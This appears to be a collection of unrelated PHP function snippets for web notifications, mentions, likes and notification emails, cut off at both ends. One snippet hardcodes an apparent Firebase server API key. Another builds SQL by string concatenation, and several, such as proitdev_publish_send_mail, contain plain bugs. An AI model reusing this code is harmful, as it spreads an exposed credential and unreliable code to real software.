array(\n\t\t\t$poster->name,\n\t\t\t$message,\n\t\t\t$entity->getURL()\n\t\t));\n\n\t\tnotify_user($to_guid, $from_guid, $subject, $body, array(\n\t\t\t'summary' => $summary,\n\t\t\t'object' => $entity,\n\t\t\t'action' => 'tagged',\n\t\t));\n\t}\n\n\treturn true;\n}", "function get_mentioned_notifications($uid) {\n try {\n $db = \\Db::dbc();\n \t$sql=\"SELECT IDTWEET, T.IDUSER, DATEPUB, LUMENT FROM TWEET T INNER JOIN MENTIONNER M USING(IDTWEET) WHERE M.IDUSER=:uid\";\n $stmt=$db->prepare($sql);\n $stmt->execute(array(':uid'=>$uid));\n\n \t$results = $stmt->fetchAll();\n if($results == false) {\n $mentNoti=(array) NULL;\n } else {\n foreach($results as $result) {\n $mentNoti[]=(object) array(\n \t\t\"type\"=>\"mentioned\",\n \"post\"=>\\Model\\Post\\get($result[0]),\n \"mentioned_by\"=>\\Model\\User\\get($result[1]),\n \"date\"=>new \\DateTime($result[2]),\n \"reading_date\"=>$result[3] == NULL ? NULL : new \\DateTime($result[3])\n );\n }\n }\n\n\t\t$db = NULL;\n return $mentNoti;\n } catch (\\PDOException $e) {\n \t$db = NULL;\n\t\techo $e->getMessage();\n\t}\n}", "public function store($id)\n {\n $user = Auth::user();\n if ($user->favorites()->where('post_id',$id)->exists()){\n $user->favorites()->detach($id);\n $count = Post::find($id)->favorites->count();\n $notification = new Notification();\n $notification->user_id = Post::find($id)->user->id;\n $notification->post_id = $id;\n $notification->title = 'Your Posts like By -> '.Auth::user()->name;\n $notification->save();\n return response()->json(['success'=>'Post has been unlike successfully','status'=>'remove','count'=> $count]);\n }else{\n $user->favorites()->attach($id);\n $count = Post::find($id)->favorites->count();\n $notification = new Notification();\n $notification->user_id = Post::find($id)->user->id;\n $notification->post_id = $id;\n $notification->title = 'Your Posts Unlike By -> '.Auth::user()->name;\n $notification->save();\n return response()->json(['success'=>'Post has been like successfully','status'=>'add','count'=> $count]);\n }\n\n }", "public function handle(ThreadHasNewReply $event)\n {\n preg_match_all('/@([\\w\\-]+)/', $event->reply->body, $matches);\n\n $names = $matches[1];\n\n foreach ($names as $name) {\n $user = User::whereName($name)->first();\n\n if ($user) {\n $user->notify(new YouWereMentioned($event->reply));\n }\n }\n }", "function gotb_listing_expired_notify( $post_id ) {\n\t\tif ( 'job_listing' !== get_post_type( $post_id ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$post = get_post( $post_id );\n\t\t$author = get_userdata( $post->post_author );\n\t\t$headers = array('Content-Type: text/html; charset=UTF-8');\n\n\t\t$subject = __( sprintf( \"Listing expired - %s\", esc_html( $post->post_title ) ), 'gotb' );\n\n\t\t$message = __( sprintf( \"Hi %s, <br><br>\", $author->display_name ), 'gotb' );\n\n\t\t$message .= __( \"Please note your job listing has now expired. \n<br><br> \nIf you would like to repost this position, please sign onto our website and use your dashboard to manage your posting. \n<br><br>\n<a href='http://www.careercentre.org/postajob/'>http://www.careercentre.org/postajob/</a> \n<br><br> \nIf you require further assistance with your hiring needs, please feel free to contact me or check out our many <a href='http://www.careercentre.org/other-employer-resources/'>resources for employers </a> \n<br><br>\nThank you for posting with us, <br> <br>\nEmployer Services Coordinator <br> \n250.248.3205 Ext. 236\" , 'gotb' );\n\n\t\twp_mail( $author->user_email, $subject, $message, $headers );\n\n\t}", "function notify($fave, $notice, $user)\n {\n $other = User::staticGet('id', $notice->user_id);\n if ($other && $other->id != $user->id) {\n \t$otherProfile = $other->getProfile();\n if ($otherProfile->email && $otherProfile->emailnotifyfav) {\n mail_notify_fave($otherProfile, $user->getProfile(), $notice);\n }\n // XXX: notify by IM\n // XXX: notify by SMS\n }\n }", "public function sendNotification($post = null, $attachmentList = null) {\n\t\t$sql = \"SELECT\t\tuser.*\n\t\t\tFROM\t\twbb\".WBB_N.\"_board_subscription subscription\n\t\t\tLEFT JOIN\twcf\".WCF_N.\"_user user\n\t\t\tON\t\t(user.userID = subscription.userID)\n\t\t\tWHERE\t\tsubscription.boardID = \".$this->boardID.\"\n\t\t\t\t\tAND subscription.enableNotification = 1\n\t\t\t\t\tAND subscription.emails = 0\n\t\t\t\t\tAND subscription.userID <> \".$this->userID.\"\n\t\t\t\t\tAND user.userID IS NOT NULL\";\n\t\t$result = WCF::getDB()->sendQuery($sql);\n\t\tif (WCF::getDB()->countRows($result)) {\n\t\t\t// get first post\n\t\t\tif ($post === null) {\n\t\t\t\trequire_once(WBB_DIR.'lib/data/post/Post.class.php');\n\t\t\t\t$post = new Post($this->firstPostID);\n\t\t\t}\n\t\t\t\n\t\t\t// get attachments\n\t\t\tif ($attachmentList === null) {\n\t\t\t\trequire_once(WCF_DIR.'lib/data/attachment/MessageAttachmentList.class.php');\n\t\t\t\t$attachmentList = new MessageAttachmentList($this->firstPostID);\n\t\t\t\t$attachmentList->readObjects();\n\t\t\t}\n\t\t\t\n\t\t\t// set attachments\n\t\t\trequire_once(WCF_DIR.'lib/data/message/bbcode/AttachmentBBCode.class.php');\n\t\t\tAttachmentBBCode::setAttachments($attachmentList->getSortedAttachments());\n\t\t\t\n\t\t\t// parse text\n\t\t\trequire_once(WCF_DIR.'lib/data/message/bbcode/MessageParser.class.php');\n\t\t\t$parser = MessageParser::getInstance();\n\t\t\t$parser->setOutputType('text/plain');\n\t\t\t$parsedText = $parser->parse($post->message, $post->enableSmilies, $post->enableHtml, $post->enableBBCodes, false);\n\t\t\t// truncate message\n\t\t\tif (!POST_NOTIFICATION_SEND_FULL_MESSAGE && StringUtil::length($parsedText) > 500) $parsedText = StringUtil::substring($parsedText, 0, 500) . '...';\n\t\t\t\n\t\t\t// send notifications\n\t\t\t$languages = array();\n\t\t\t$languages[WCF::getLanguage()->getLanguageID()] = WCF::getLanguage();\n\t\t\t$languages[0] = WCF::getLanguage();\n\t\t\trequire_once(WCF_DIR.'lib/data/mail/Mail.class.php');\n\t\t\trequire_once(WCF_DIR.'lib/data/user/User.class.php');\n\t\t\trequire_once(WBB_DIR.'lib/data/board/Board.class.php');\n\t\t\t$board = Board::getBoard($this->boardID);\n\t\t\twhile ($row = WCF::getDB()->fetchArray($result)) {\n\t\t\t\t$recipient = new User(null, $row);\n\t\t\t\t\n\t\t\t\t// get language\n\t\t\t\tif (!isset($languages[$recipient->languageID])) {\n\t\t\t\t\t$languages[$recipient->languageID] = new Language($recipient->languageID);\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// enable language\n\t\t\t\t$languages[$recipient->languageID]->setLocale();\n\t\t\t\t\n\t\t\t\t// send mail\n\t\t\t\t$data = array(\n\t\t\t\t\t'PAGE_TITLE' => $languages[$recipient->languageID]->get(PAGE_TITLE),\n\t\t\t\t\t'PAGE_URL' => PAGE_URL,\n\t\t\t\t\t'$recipient' => $recipient->username,\n\t\t\t\t\t'$author' => $this->username,\n\t\t\t\t\t'$boardTitle' => $languages[$recipient->languageID]->get($board->title),\n\t\t\t\t\t'$topic' => $this->topic,\n\t\t\t\t\t'$threadID' => $this->threadID,\n\t\t\t\t\t'$text' => $parsedText);\n\t\t\t\t$mail = new Mail(\tarray($recipient->username => $recipient->email),\n\t\t\t\t\t\t\t$languages[$recipient->languageID]->get('wbb.threadAdd.notification.subject', array('$title' => $languages[$recipient->languageID]->get($board->title))),\n\t\t\t\t\t\t\t$languages[$recipient->languageID]->get('wbb.threadAdd.notification.mail', $data));\n\t\t\t\t$mail->send();\n\t\t\t}\n\t\t\t\n\t\t\t// enable user language\n\t\t\tWCF::getLanguage()->setLocale();\n\t\t\t\n\t\t\t// update notification count\n\t\t\t$sql = \"UPDATE\twbb\".WBB_N.\"_board_subscription\n\t\t\t\tSET \temails = emails + 1\n\t\t\t\tWHERE\tboardID = \".$this->boardID.\"\n\t\t\t\t\tAND enableNotification = 1\n\t\t\t\t\tAND emails = 0\";\n\t\t\tWCF::getDB()->registerShutdownUpdate($sql);\n\t\t}\n\t}", "public function handle(PostWasCreated $event)\n {\n $event->post->thread->markAsUnread();\n }", "public function like() {\n\n $review = Input::get('review');\n $check = $this->likeCheck($review);\n\n if (!$check) {\n if (!$review == \"\") {\n // inserting the review like\n DB::table('review_likes')->insert(\n array(\n 'review_id' => $review,\n 'user_id' => Auth::user()->id\n )\n );\n $user = DB::table('film_review')->where('fr_id', $review)->first();\n // creating a notification\n $noti = new Notification; // notification instance\n $noti->user_id = $user->fr_usr_id; // the user who will get this notification\n $noti->subject_type = 'user'; // user\n $noti->subject_id = Auth::user()->id; // the uset who liked the review\n $noti->object_type = 'review'; // object is review \n $noti->object_id = $review; // id of the review in picture\n $noti->type = 'liked'; // liked - notification type\n $noti->read = '0'; // default '0' as it is unread\n $noti->time = time(); // default '0' as it is unread\n $noti->save(); // saves notification\n\n $mail = $this->newLikeMail($user->fr_usr_id, $user->fr_fl_id, $user);\n }\n }\n }", "public function notifyUser(&$comment) {\n if (!$comment instanceof modxTalksPost) {\n return false;\n }\n\n $this->modx->lexicon->load('modxtalks:emails');\n\n /**\n * Get User info\n */\n $user = $comment->getUserData();\n\n $cid = $comment->conversationId;\n $idx = $comment->idx;\n\n $link = $this->generateLink($cid, $idx, 'full');\n $images_url = $this->modx->getOption('site_url') . substr($this->config['imgUrl'], 1);\n\n $subject = $this->modx->lexicon('modxtalks.email_comment_approved');\n $text = $this->modx->lexicon('modxtalks.email_user_approve_comment', array(\n 'link' => $link,\n ));\n\n $params = array(\n 'title' => 'Заголовок',\n 'content' => $this->modx->stripTags($this->bbcode($comment->content)),\n 'images_url' => $images_url,\n 'avatar' => $this->getAvatar($user['email'], 50),\n 'text' => $text,\n 'date' => date($this->config['dateFormat'] . ' O', $comment->time),\n );\n\n /**\n * Get email body\n */\n $body = $this->getChunk('mt_send_mail', $params);\n\n /**\n * Send notifications to user\n */\n $success = false;\n if (!empty($user['email'])) {\n if ($this->sendEmail($subject, $body, $user['email'])) {\n $success = true;\n }\n }\n\n return $success;\n }", "function wp_send_new_user_notifications($user_id, $notify = 'both')\n {\n }", "function proitdev_publish_send_mail(){\n\tglobal $post;\n\t$author = $post->post_author; /* Post author ID */\n\t$name = get_the_author_meta('display_name',$author);\n\t$mail = get_the_author_meta('user_email',author);\n\t$title = $post->post_title;\n\t$permalink = get_permalink( $ID );\n\t$edit = get_edit_post_link($ID, '');\n\t$to[] = $sprintf('%s <%s>' , $name, $email);\n\t$subject = sprintf('Published: %s', $title);\n\t$message = sprintf('Congratulations, %s! Your article \"%s\" has been published.'. \"\\n\\n\", $name, $title);\n\t$message .= sprintf('View %s', $permalink);\n\t$header[] = '';\n\twp_mail($to, $subject, $messagge, $header);\n}", "private function notify_on_add($meet, $location)\n { \n $subject = 'Shackmeet Announcement - ' . $meet->title;\n $body = $this->build_create_message($meet, $location);\n \n $notification_users = $this->load_users_to_notify();\n \n foreach ($notification_users as $user)\n {\n // Prevent shackmessages from being sent to yourself. Unless you're me. I get all the shackmessages.\n if ($user['username'] == $this->current_user->username && $user['username'] != 'omnova') \n continue;\n \n if ($user['notify_option'] == 2 || ($user['notify_option'] == 1 && $this->eligible_for_notification($user['latitude'], $user['longitude'], $location->latitude, $location->longitude, $user['notify_max_distance'])))\n { \n // Insert SM message into the queue\n if ($user['notify_shackmessage'] == 1)\n {\n $message = Model::factory('message_queue');\n $message->message_type_id = 1;\n $message->message_recipients = $user['username'];\n $message->message_subject = $subject;\n $message->message_body = $body;\n $message->meet_id = $meet->meet_id;\n $message->notification_reason_id = 1;\n $message->insert(); \n }\n \n // Insert email message into the queue\n if ($user['notify_email'] == 1)\n {\n $message = Model::factory('message_queue');\n $message->message_type_id = 2;\n $message->message_recipients = $user['email_address'];\n $message->message_subject = $subject;\n $message->message_body = $body;\n $message->meet_id = $meet->meet_id;\n $message->notification_reason_id = 1;\n $message->insert();\n }\n }\n }\n }", "public function DeleteNotification($post_id,$type=\"like\",$user)\n\t{\n\t\t$post = NotificationsModel::model()->findByAttributes(array('post'=>$post_id,'type'=>$type,'from'=>$user));\n\t\tif($post)\n\t\t{\n\t\t\tif($post->delete())\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\treturn false;\n\t\t}\t\n\t}", "function updateSpeakerComment(){\n\t\t// to follow\n\t}", "public function handleFutureToPublish($post) {\n if (\"publish\" == $post->post_status) {\n $this->indexPost($post->ID);\n }\n }", "function tp_publish_automatic($id, $post) {\r\n\tif ($post->post_status !== 'publish') return;\r\n\r\n\t// check options to see if we need to send to FB at all\r\n\t$options = tp_options();\r\n\tif (!$options['autotweet_flag'] || !$options['autotweet_token'] || !$options['autotweet_secret'] || !$options['publish_text'])\r\n\t\treturn;\r\n\r\n\t// args to send to twitter\r\n\t$args=array();\r\n\r\n\t$args['status'] = tp_get_default_tweet($id);\r\n\r\n\t$args['acc_token'] = $options['autotweet_token'];\r\n\t$args['acc_secret'] = $options['autotweet_secret'];\r\n\r\n\t$resp = tp_do_request('statuses/update',$args, 'post');\r\n\r\n return $resp;\r\n}", "function sendNotificationToUsers($userTokens, $notification){\n $notification->sendNotification($userTokens, \"Answer some questions\", \"Don't forget to check out the new questionnaire today\");\n}", "public function bookmark(Post $post)\n {\n $g = Groupe::findOrFail($post->groupe_id);\n if ($g->is_public() || $g->is_member())\n return $post->bookmarked_users()->toggle(Auth::user());\n \n return response()->json(['message' => 'Not a member'], 200);\n /*if (empty($post->bookmarked_users()->find(Auth::id()))) {\n $post->bookmarked_users()->attach(Auth::id());\n return response()->json(['message' => 'Le post été ajouté à la liste des signets avec succès'], 200);\n } else {\n DB::table('bookmarks')->where('compte_id', Auth::id())->where('post_id', $post->id)->delete();\n return response()->json(['message' => 'La post a bien été supprimée de la liste des signets'], 200);\n }*/\n }", "public function seen_notification_post()\n\t{ \n\t\tif($_SERVER['REQUEST_METHOD'] == \"POST\"){\n \t// Get data\n\t\t\tif(isset($_POST)){\n\t\t\t\t$permission=false;\n\t\t\t\t$token= isset($_POST['token']) ?($_POST['token']) : \"\";\n\t\t\t\t$permission=$this->matchAppToken($token);\n\t\t\t\tif($permission==true){\n\t\t\t\t\t$notification_id= isset($_POST['notification_id']) ?($_POST['notification_id']) : \"\";\n\t\t\t\t\tif($notification_id!=''){\n\t\t\t\t\t\t$response=$this->advance_notification_model->seen_notification($notification_id);\t\n\t\t\t\t\t\tif($response){\n\t\t\t\t\t\t\t$json = array(\"status\" => 1, \"message\" => \"Ok\");\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$json = array(\"status\" => 0, \"message\" => \"Somthing went wrong. Please try again later\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$json = array(\"status\" => 0, \"message\" => \"Notification ID has been empty.\");\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\t$json = array(\"status\" => 0, \"message\" => \"Token has been not matched\");\n\t\t\t\t}\t\n\t\t\t}else{\n\t\t\t\t$json = array(\"status\" => 0, \"message\" => \"Request has been uncompleted\");\n\t\t\t}\n\t\t}else{\n\t\t\t$json = array(\"status\" => 0, \"message\" => \"Request method not accepted\");\n\t\t}\n\t\t$this->response($json, REST_Controller::HTTP_OK);\n\t}", "function post_exists($title, $content = '', $date = '', $type = '', $status = '')\n {\n }", "public function notificationQuestion()\n {\n\n $unanswered_questions_count = $this->Question_model->getUnansweredCount();\n $tokens = $this->Question_model->getTokens();\n\n foreach ($tokens as $token)\n {\n //$token = \"dzD9G0LpT7o:APA91bE5EGEGOTs_gB8uWvalTy05LY2B6CoVddeEg2qZiiZDuzEwJ-5U_8Oj-zPSZe44dXlY5m1aZ3ZCAW7jM8vZ5V2vM1vMLQgF5l9S8Q68ibK0lL4MhXQxuVjgb9A7ZRKm7PdUMlA3\";\n $url = 'https://fcm.googleapis.com/fcm/send';\n $headers = array('Content-Type' => 'application/json', 'authorization' => 'key= AIzaSyDJnLqtnXqSI5vF6N8IJCRgHLF58pQ7xYI');\n $fields = array (\n 'data' => array(\n \"unanswered_questions_count\" => $unanswered_questions_count\n ),\n 'to' => $token['token']\n );\n\n $response = (Requests::post($url, $headers, json_encode($fields)));\n }\n }", "function gotb_listing_submitted_notify( $post_id ) {\n\n\t\tif ( 'job_listing' !== get_post_type( $post_id ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$post = get_post( $post_id );\n\t\t$author = get_userdata( $post->post_author );\n\t\t$headers = array('Content-Type: text/html; charset=UTF-8');\n\n\t\t$subject = __( sprintf( \"New job submitted - %s\", $post->post_title ), 'gotb' );\n\n\t\t$message = __( \"Thank you for submitting your \\\"\" . esc_html( $post->post_title ) . \"\\\" job posting on the Career Centre website. <br><br>\n\nOur staff will review your submission and ensure it is posted as soon as possible. In the event amendments are required, please allow 24 hours for the necessary changes to be made. Please take the time to visit our website and view your posting.<br><br>\nIf you have any questions or concerns, please contact us at <a target='_blank'>250.248.3205</a> or email <a href='mailto:reception@careercentre.org' target='_blank'>reception@careercentre.org</a> Monday to Friday from 8:30am to 4:30pm.<br><br>\n\n<a href='http://www.careercentre.org/wage-subsidy/'>Click here</a> to find information on the wage subsidy program we currently administer. If you require more information or assistance with your hiring needs, please feel free to call or email us.<br><br>\n\n<b>Who will join your team in 2019? Our Hiring Fair gives you access to hundreds of job seekers – the perfect opportunity to recruit for your team!</b> Join us at the Hiring Fair on Thursday April 11th, 2019 from 12–4 pm at the Parksville Community & Conference Centre! The early bird rate to register ends March 1th at 5:00pm. Click <a href='https://www.careercentre.org/hiring-fair/'>here</a> to register now to take advantage of the Early Bird Rate! There are over 500 job seekers ready to meet you! <br><br>\n\nDid you know that there are many benefits to hiring people with disabilities including:<br><br>\n1. Improved Productivity – Research shows that diverse and inclusive workplaces are:<br>\n- 2x more likely to meet or exceed financial targets<br>\n- 6x more likely to be innovative<br>\n- 6x more likely to effectively anticipate change<br><br>\n2. People with Disabilities Make Great Employees – Among employees with disabilities:<br>\n- Staff retention was 72% higher<br>\n- 86% had average or better attendance<br>\n- 90% performed equal or better than their coworkers without disabilities<br><br>\n3. Expanded Consumer Reach<br>\n- The spending power of people with disabilities is over $55 billion dollars<br>\n- 90% of consumers prefer to engage with companies that hire people with disabilities<br><br>\n\nFor more info see <a href='http://accessibleemployers.ca/business-case/'>accessibleemployers.ca/business-case/</a> and call a member of our Employer Services Team for assistance to hire your next great employee.\n<br><br>\nMany thanks,<br><br>\nCareer Centre Team\n<hr />\n<br><br>\", 'gotb' );\n\n\t\twp_mail( $author->user_email, $subject, $message, $headers );\n\t}", "public function is_post_notifiable( $post, $action ) {\n\t\tif ( ! $post || ! is_a( $post, 'WP_Post' ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// All actions can notify about handbooks.\n\t\t$notifiable_post_types = array( 'handbook' );\n\n\t\t// There's a large number of custom handbooks, and more will be created in the future.\n\t\tif ( str_contains( $post->post_type, '-handbook' ) ) {\n\t\t\t$notifiable_post_types[] = $post->post_type;\n\t\t}\n\n\t\tif ( 'publish' === $action || 'comment' === $action ) {\n\t\t\t$notifiable_post_types = array_merge(\n\t\t\t\t$notifiable_post_types,\n\t\t\t\tarray( 'post', 'handbook', 'wporg_workshop', 'lesson-plan', 'course' )\n\t\t\t);\n\t\t}\n\n\t\t// Some post types are imported programmatically and aren't directly attributable to a wordpress.org\n\t\t// account.\n\t\t$is_markdown_post = false;\n\t\t$post_meta = get_post_custom( $post->ID );\n\n\t\tforeach ( $post_meta as $key => $value ) {\n\t\t\tif ( str_contains( $key, '_markdown_source' ) ) {\n\t\t\t\t$is_markdown_post = true;\n\t\t\t}\n\t\t}\n\n\t\tif ( is_plugin_active( 'subscribers-only.php' ) ) {\n\t\t\t$notifiable = false;\n\t\t} elseif ( ! in_array( $post->post_type, $notifiable_post_types, true ) ) {\n\t\t\t$notifiable = false;\n\t\t} elseif ( 'publish' != $post->post_status ) {\n\t\t\t$notifiable = false;\n\t\t} elseif ( ! empty( $post->post_password ) ) {\n\t\t\t$notifiable = false;\n\t\t} elseif ( $is_markdown_post || ! $post->post_author ) {\n\t\t\t// Some Handbook posts are automatically created and don't have an author.\n\t\t\t$notifiable = false;\n\t\t} elseif ( $post->_xpost_original_permalink || str_starts_with( $post->post_name, 'xpost-' ) ) {\n\t\t\t$notifiable = false;\n\t\t} else {\n\t\t\t$notifiable = true;\n\t\t}\n\n\t\treturn apply_filters( 'wporg_profiles_wp_activity-is_post_notifiable', $notifiable, $post );\n\t}", "public static function add_notice_if_flagged_or_unflagged() {\n\t\t$screen = get_current_screen();\n\n\t\t// Only add notice when editing single photo.\n\t\t$post_type = Registrations::get_post_type();\n\t\tif ( ! $screen || $post_type !== $screen->id || $post_type !== $screen->post_type ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$notice = $user = $user_id = '';\n\t\t$notice_type = 'warning';\n\n\t\t$post = get_post();\n\t\tif ( ! $post ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Don't need to report flagging/unflagging for published posts.\n\t\tif ( 'published' === $post->post_status ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Note: Not reporting who flagged a post once it has been unflagged.\n\t\tif ( $user_id = Flagged::get_unflagger( $post ) ) {\n\t\t\t/* translators: 1: URL to the profile of the user who unflagged the photo, 2: The name of the user who unflagged the photo. */\n\t\t\t$notice = __( '<strong>This photo was unflagged by <a href=\"%1$s\">%2$s</a> and is safe to moderate.', 'wporg-photos' );\n\t\t\t$notice_type = 'success';\n\t\t}\n\t\telseif ( $user_id = Flagged::get_flagger( $post ) ) {\n\t\t\t// A user can't actually flag their own submission. This results from auto-flagging.\n\t\t\tif ( $user_id === $post->post_author ) {\n\t\t\t\t$notice = __( '<strong>This photo was automatically flagged due to potential concerns after image analysis.', 'wporg-photos' );\n\t\t\t} else {\n\t\t\t\t/* translators: 1: URL to the profile of the user who flagged the photo, 2: The name of the user who flagged the photo. */\n\t\t\t\t$notice = __( '<strong>This photo was flagged by <a href=\"%1$s\">%2$s</a>.', 'wporg-photos' );\n\t\t\t}\n\t\t}\n\n\t\tif ( $user_id ) {\n\t\t\t$user = new \\WP_User( $user_id );\n\t\t}\n\n\t\tif ( ! $user || ! $notice ) {\n\t\t\treturn;\n\t\t}\n\n\t\tprintf(\n\t\t\t'<div id=\"message\" class=\"notice notice-%s\"><p>%s</p></div>' . \"\\n\",\n\t\t\tesc_attr( $notice_type ),\n\t\t\tsprintf(\n\t\t\t\t$notice,\n\t\t\t\t'https://profiles.wordpress.org/' . $user->user_nicename . '/',\n\t\t\t\tsanitize_text_field( $user->display_name )\n\t\t\t)\n\t\t);\n\t}", "public function iN_CheckNotificationLikeInsertedBeforeForComment($userID, $commentID, $postID) {\n\t\t$userID = mysqli_real_escape_string($this->db, $userID);\n\t\t$postID = mysqli_real_escape_string($this->db, $postID);\n\t\t$commentID = mysqli_real_escape_string($this->db, $commentID);\n\t\t$check = mysqli_query($this->db, \"SELECT not_iuid, not_post_id, not_comment_id FROM i_user_notifications WHERE not_iuid = '$userID' AND not_post_id = '$postID' AND not_comment_id = '$commentID' AND not_not_type = 'commentLike'\") or die(mysqli_error($this->db));\n\t\tif (mysqli_num_rows($check) == 1) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "public function whois_looking_check(){\n\t\tglobal $post;\n\t\t$post_id = get_the_ID();\n\t\t$current_user_id = get_current_user_id();\n\t\t$author_user_id = $post->post_author;\n\t\tif ($current_user_id == $author_user_id){\n\t\t\t$include_file = plugin_dir_path( __FILE__ ) . \"subscription_view_author.php\";\n\t\t\tinclude_once($include_file);\n\t\t\tif (isset ($$subscription_view_author)){return;}\n\t\t\t$subscription_view_author = new subscription_view_author($post_id);\n\t\t}\n\t}", "public function markThread(PostRepositoryInterface $post): PodiumResponse;", "function wp_new_blog_notification($blog_title, $blog_url, $user_id, $password)\n {\n }", "public function notifyModerators(&$comment) {\n if (!$comment instanceof modxTalksPost && !$comment instanceof modxTalksTempPost) {\n return false;\n }\n\n $this->modx->lexicon->load('modxtalks:emails');\n\n /**\n * Get User info\n */\n $user = $comment->getUserData();\n $images_url = $this->modx->getOption('site_url') . substr($this->config['imgUrl'], 1);\n\n if ($comment instanceof modxTalksPost) {\n $cid = $comment->conversationId;\n $idx = $comment->idx;\n $link = $this->generateLink($cid, $idx, 'full');\n $subject = $this->modx->lexicon('modxtalks.email_new_comment');\n $text = $this->modx->lexicon('modxtalks.email_added_new_comment', array(\n 'link' => $link,\n 'name' => $user['name'],\n ));\n } elseif ($comment instanceof modxTalksTempPost) {\n $subject = $this->modx->lexicon('modxtalks.email_new_premoderated_comment');\n $text = $this->modx->lexicon('modxtalks.email_user_add_premoderated_comment', array(\n 'name' => $user['name'],\n ));\n }\n\n $params = array(\n 'title' => 'Заголовок',\n 'content' => $this->modx->stripTags($this->bbcode($comment->content)),\n 'images_url' => $images_url,\n 'avatar' => $this->getAvatar($user['email'], 50),\n 'text' => $text,\n 'date' => date($this->config['dateFormat'] . ' O', $comment->time),\n );\n\n /**\n * get email body\n */\n $body = $this->getChunk('mt_send_mail', $params);\n\n /**\n * send notifications\n */\n $success = false;\n\n $emails = $this->getUsersEmailsByGroups($this->config['moderator'], $comment);\n\n /**\n * send notifications to moderators\n */\n if (!empty($emails)) {\n if ($this->sendEmail($subject, $body, $emails)) {\n $success = true;\n }\n }\n\n return $success;\n }", "public function like(\\Tuiter\\Models\\User $user, \\Tuiter\\Models\\Post $post): bool\n {\n $unLike=new \\Tuiter\\Models\\Like($post->getPostId(),$user->getUserId());\n if($this->likeExist($unLike)){\n return false;\n }\n $insert = $this->collection->insertOne(array(\n 'likeId'=>$unLike->getLikeId(),\n 'postId'=>$unLike->getPostId(),\n 'userId'=>$unLike->getUserId()\n ));\n return !empty($insert);\n }", "public function addToNotificationList($postID) {\n $sqlQuery = \"insert into laf873.notifications (ntf_postID) values(?)\";\n\n $statement = $this->_dbHandle->prepare($sqlQuery);\n $statement->execute([$postID]);\n }", "public function favorite(Post $post)\n {\n if (Groupe::findOrFail($post->groupe_id)->is_member())\n return $post->favorited_users()->toggle(Auth::user());\n \n return response()->json(['message' => 'Not a member'], 200);\n /*if (empty($post->favorited_users()->find(Auth::id()))) {\n $post->favorited_users()->attach(Auth::id());\n return response()->json(['message' => 'Le post a été aimé avec succès'], 200);\n } else {\n DB::table('favorises')->where('compte_id', Auth::id())->where('post_id', $post->id)->delete();\n return response()->json(['message' => 'Le post a été - avec succès'], 200);\n }*/\n }", "function mentionMeXMLHTTPgetMultiMentioned()\n{\n\tglobal $mybb, $db, $charset;\n\n\t// if the cookie does not exist, exit\n\tif (!array_key_exists('multi_mention', $mybb->cookies)) {\n\t\texit;\n\t}\n\t// divide up the cookie using our delimiter\n\t$mentioned = explode('|', $mybb->cookies['multi_mention']);\n\n\t// no values - exit\n\tif (!is_array($mentioned)) {\n\t\texit;\n\t}\n\n\t// loop through each post ID and sanitize it before querying\n\tforeach ($mentioned as $post) {\n\t\t$mentionedPosts[$post] = (int) $post;\n\t}\n\n\t// join the post IDs back together\n\t$mentionedPosts = implode(',', $mentionedPosts);\n\n\t// fetch unviewable forums\n\t$unviewableForums = get_unviewable_forums();\n\tif ($unviewableForums) {\n\t\t$unviewableForums = \" AND fid NOT IN ({$unviewableForums})\";\n\t}\n\t$message = '';\n\n\t// are we loading all mentioned posts or only those not in the current thread?\n\t$fromTID = '';\n\tif (!$mybb->input['load_all']) {\n\t\t$tid = (int) $mybb->input['tid'];\n\t\t$fromTID = \"tid != '{$tid}' AND \";\n\t}\n\n\t// query for any posts in the list which are not within the specified thread\n\t$mentioned = array();\n\t$query = $db->simple_select('posts', 'username, fid, visible', \"{$fromTID}pid IN ({$mentionedPosts}){$unviewableForums}\", array(\"order_by\" => 'dateline'));\n\twhile ($mentionedPost = $db->fetch_array($query)) {\n\t\tif (!is_moderator($mentionedPost['fid']) &&\n\t\t\t$mentionedPost['visible'] == 0) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif ($mentioned[$mentionedPost['username']] != true) {\n\t\t\t$mentionedPost['username'] = html_entity_decode($mentionedPost['username']);\n\n\t\t\t// find an appropriate quote character based on whether or not the\n\t\t\t// mentioned name includes that character\n\t\t\t$quote = '';\n\t\t\tif (strpos($mentionedPost['username'], '\"') === false) {\n\t\t\t\t$quote = '\"';\n\t\t\t} elseif (strpos($mentionedPost['username'], \"'\") === false) {\n\t\t\t\t$quote = \"'\";\n\t\t\t} elseif (strpos($mentionedPost['username'], \"`\") === false) {\n\t\t\t\t$quote = \"`\";\n\t\t\t}\n\n\t\t\t$message .= \"@{$quote}{$mentionedPost['username']}{$quote} \";\n\t\t\t$mentioned[$mentionedPost['username']] = true;\n\t\t}\n\t}\n\n\t// send our headers.\n\theader(\"Content-type: text/plain; charset={$charset}\");\n\techo $message;\n\texit;\n}", "public function hasANotificationBeenRecentlySent($userId)\n {\n $expiresIn = Carbon::now()\n ->addMinutes(10);\n\n return !Cache::add('users:notifications:just:' . $userId, 1, $expiresIn);\n }", "function mentioned_notification_seen($uid, $pid) {\n try {\n $db = \\Db::dbc();\n\n $sql=\"UPDATE MENTIONNER SET LUMENT = CURRENT_TIMESTAMP WHERE IDUSER=:uid AND IDTWEET=:pid;\";\n $stmt=$db->prepare($sql);\n $stmt->execute(array(\n \t':uid'=>$uid,\n ':pid'=>$pid\n ));\n } catch (\\PDOException $e) {\n\t\techo $e->getMessage();\n\t}\n\t$db=NULL;\n}", "private function notify_new_approved_comment( $comment, $post ) {\n\t\tif ( defined( 'WP_IMPORTING' ) && WP_IMPORTING ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( ! $comment->user_id ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( 